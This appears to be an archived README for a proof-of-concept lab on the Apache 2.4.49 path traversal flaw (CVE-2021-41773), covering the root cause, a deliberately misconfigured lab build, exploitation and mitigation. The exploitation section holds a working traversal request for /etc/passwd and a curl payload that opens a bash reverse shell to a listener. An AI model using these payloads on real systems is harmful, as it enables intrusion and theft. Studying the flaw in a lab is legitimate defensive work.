Associated Vulnerability
Title:Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)Description:A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.
Description
The POC and Lab setup documentation of CVE 2021 41773
Readme
# CVE-2021-41773-POC
The POC and Lab setup documentation of CVE 2021 41773
---
### <font color="#245bdb">What is CVE-2021-41773?</font>
CVE-2021-41773 is a path traversal vulnerability in Apache HTTP server 2.4.49 and 2.4.50. This vulnerability exploits an update in the **path normalisation** code introduced in this version.
The Path Normalisation Function:
Normally Path normalisation will filter out the url path to a standard
format to prevent adversaries from malicious actions.
Apache HTTP Server 2.4.49 introduced a change to the **ap_normalize_path** function which became the root cause of this vulnerability.
If we take a look at the [source code](https://github.com/apache/httpd/commit/4c79fd280dfa3eede5a6f3baebc7ef2e55b3eb6a), we can spot that the function iterates through each character in the given url and apply sanitisation.
But the vulnerability is present in the section of code, where it does url decoding. The function is simple, it will just decode the url encoded character
```c
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
path[l] == '%' &&
apr_isxdigit(path[l + 1]) &&
apr_isxdigit(path[l + 2]))
{
// Decode the percent-encoded character
const char c = x2c(&path[l + 1]);
// Check if the decoded character is alphanumeric or one of the allowed symbols
if (apr_isalnum(c) || (c && strchr("-._~", c)))
{
// Replace the last character with the decoded one and update position
l += 2;
path[l] = c;
}
}
```
The issue here is that it only handles the first dot **.** in url, which means if instead of **../** , we give **.%2e/**, server will decode the %2e and as dot which will translate to ../
Normal case:
```c
URL Input: http://target/cgi-bin/../../etc/passwd
Path Normalization Steps:
1. Detect ../ -> Attempt to traverse up a directory.
2. Normalize function -> will remove or block ../
```
Vulnerable case:
```c
URL Input: http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
Path Normalization Steps:
1. Decodes %2e to . -> The Result is ./.././../etc/passwd
2. Partial Normalization -> Does not recognize .%2e/ as equivalent to ../
3. Path Traversal is not fully blocked.
Resulting Path: /etc/passwd (Access Granted)
```
This issue becomes dangerous and exploitable when it is combined with server directives. This act as a rule for the behaviour of Apache server.
The **Require all granted** configuration will all requests to access resources inside the **DocumentRoot** explicitly.
```html
<Directory />
AllowOverride None
Require all granted # Deliberately vulnerable setting, here it was denied usually
</Directory>
```
If the server is configured with the **Require all granted** directive at the root level, this makes the whole file system publicly accessible.
The **cgi-bin** directory in Apache is by default an alias directory with the **Require all granted** directive, which allows public access, meaning everyone can request to the **/usr/local/apache2/cgi-bin/** directory.
By combining the logic flaw in the **ap_normalize_path** function that allows the path traversal bypass and a misconfigured **Require all granted** directive on the server, attackers can access files on the server files system outside intended directories.
This vulnerability can be further exploited leading to Remote Code Execution if [**mod_cgi**](https://httpd.apache.org/docs/current/mod/mod_cgi.html) is enabled on the server.
By default this module is not enabled on Apache HTTPD, this means that the default version is not vulnerable to RCE.
**mod_cgi** allows the execution of CGI (Common Gateway Interface) scripts on the server and the output returned to the client; it's used mainly to provide dynamic features to websites.
---
### <font color="#245bdb">Setting up the Lab</font>
* Install a linux VM for to create the lab
* After that let's setup apache's vulnerable version in this vm
Download vulnerable apache version(Downloading it from archive cause the vulnerable version is not available to install directly):
```sh
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz
```
install dependencies:
```sh
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
```
```sh
sudo apt-get install build-essential
```
Decompress the apache vulnerable file and configure it:
```sh
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install
```
After it finishes successfully go to the configuration file for apache:
```sh
sudo nano /usr/local/apache2/conf/httpd.conf
```
Add the following on the configuration file:
```
ServerName 127.0.1.1
```
Start the apache services:
```sh
sudo /usr/local/apache2/bin/apachectl start
```
Navigate to default web server directory:
```sh
cd /usr/local/apache2/htdocs
```
note: normally root directory for apache is `/var/www/html` here its `/usr/local/apache2/htdocs` cause we didn't install the server form source, we can make it `/var/ww/html` if we want. But I am keeping it as it is for now.
Create a basic static website:
HTML:
```html
echo "GNU nano 6.2 index.html *
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2021-41773</title>
<!-- Link to external CSS file -->
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
<h1>Error <span class="errorcode">404</span></h1>
<p class="output">This is a replication of CVE-2021-41773</p>
<p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
<p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html
```
CSS:
```css
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';
html {
min-height: 100%;
}
body {
box-sizing: border-box;
height: 100%;
background-color: #000000;
background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
font-family: 'Inconsolata', Helvetica, sans-serif;
font-size: 1.5rem;
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1ex rgba(51, 255, 51, 1),
0 0 2px rgba(255, 255, 255, 0.8);
}
.noise {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
z-index: -1;
opacity: .02;
}
.overlay {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background:
repeating-linear-gradient(
180deg,
rgba(0, 0, 0, 0) 0,
rgba(0, 0, 0, 0.3) 50%,
rgba(0, 0, 0, 0) 100%);
background-size: auto 4px;
z-index: 1;
}
.overlay::before {
content: "";
pointer-events: none;
position: absolute;
display: block;
top: 0;
left: 0;
right: 0;
bottom: 0;
width: 100%;
height: 100%;
background-image: linear-gradient(
0deg,
transparent 0%,
rgba(32, 128, 32, 0.2) 2%,
rgba(32, 128, 32, 0.8) 3%,
rgba(32, 128, 32, 0.2) 3%,
transparent 100%);
background-repeat: no-repeat;
animation: scan 7.5s linear 0s infinite;
}
@keyframes scan {
0% { background-position: 0 -100vh; }
35%, 100% { background-position: 0 100vh; }
}
.terminal {
box-sizing: inherit;
position: absolute;
height: 100%;
width: 1000px;
max-width: 100%;
padding: 4rem;
text-transform: uppercase;
}
.output {
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.output::before {
content: "> ";
}
/*
.input {
color: rgba(192, 255, 192, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.input::before {
content: "$ ";
}
*/
a {
color: #fff;
text-decoration: none;
}
a::before {
content: "[";
}
a::after {
content: "]";
}
.errorcode {
color: white;
}"| sudo tee styles.css
```
Edit the Apache configuration to simulate the vulnerability:
```sh
sudo nano /usr/local/apache2/conf/httpd.conf
```
Make a change in this part of the configuration file so that the vulnerability can be exploited:
```html
<Directory />
AllowOverride None
Require all granted # Deliberately vulnerable setting, here it was denied usually
</Directory>
```
Now start the apache server:
```sh
sudo /usr/local/apache2/bin/apachectl start
```
Go to the vulnerable website by typing
```html
http://<vm-ip>
```
The Lab is set to go, now lets's see how the exploitation works:
---
### <font color="#245bdb">Exploitation</font>
This curl request will invoke the vulnerability:
```sh
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
```
we can access the `/etc/passwd` file or any file in the system this way
---
Let's try command injection and try to get a reverse shell:
On attacker machine setup a netcat listener:
```sh
nc -lvnp 4444
```
Now send the Bash one line via curl request to the victim:
```sh
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'
```
This will give us a shell access.
---
### <font color="#245bdb">Mitigation</font>
As versions 2.4.49 and version 2.4.50, the recommended mitigation is to upgrade to the most recent.
If updating is not an option it's advisable to audit directories to restrict public access:
- **Require all denied** directives must be implemented on all directories not intended for public access and never at the root/directory.
- **/cgi-bin** directory should be configured with the **Require all denied** directive and should not be set as an alias.
File Snapshot
[4.0K] /data/pocs/b3082280b3e8ea2e3bfcd4a74bfcfd04ea1525c4
├── [4.3M] CVE-2021-41773 POC.pdf
└── [9.8K] README.md
0 directories, 2 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →